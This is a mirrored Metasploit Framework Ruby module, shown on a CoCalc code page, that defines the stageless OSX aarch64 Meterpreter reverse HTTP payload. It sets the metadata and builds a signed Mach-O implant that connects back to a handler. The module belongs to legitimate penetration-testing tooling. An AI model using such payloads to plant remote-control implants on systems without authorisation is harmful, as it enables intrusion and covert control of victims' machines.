CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/aarch64/meterpreter_reverse_http.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# Module generated by tools/modules/generate_mettle_payloads.rb
7
module MetasploitModule
8
CachedSize = 813075
9
10
include Msf::Payload::Single
11
include Msf::Sessions::MeterpreterOptions
12
include Msf::Sessions::MettleConfig
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'OSX Meterpreter, Reverse HTTP Inline',
19
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
20
'Author' => [
21
'Adam Cammack <adam_cammack[at]rapid7.com>',
22
'Brent Cook <brent_cook[at]rapid7.com>',
23
'timwr',
24
'usiegl00'
25
],
26
'Platform' => 'osx',
27
'Arch' => ARCH_AARCH64,
28
'License' => MSF_LICENSE,
29
'Handler' => Msf::Handler::ReverseHttp,
30
'Session' => Msf::Sessions::Meterpreter_aarch64_OSX
31
)
32
)
33
end
34
35
def generate
36
opts = {
37
scheme: 'http',
38
stageless: true
39
}.merge(mettle_logging_config)
40
mo = MetasploitPayloads::Mettle.new('aarch64-apple-darwin', generate_config(opts)).to_binary :exec
41
Payload::MachO.new(mo).sign
42
end
43
end
44
45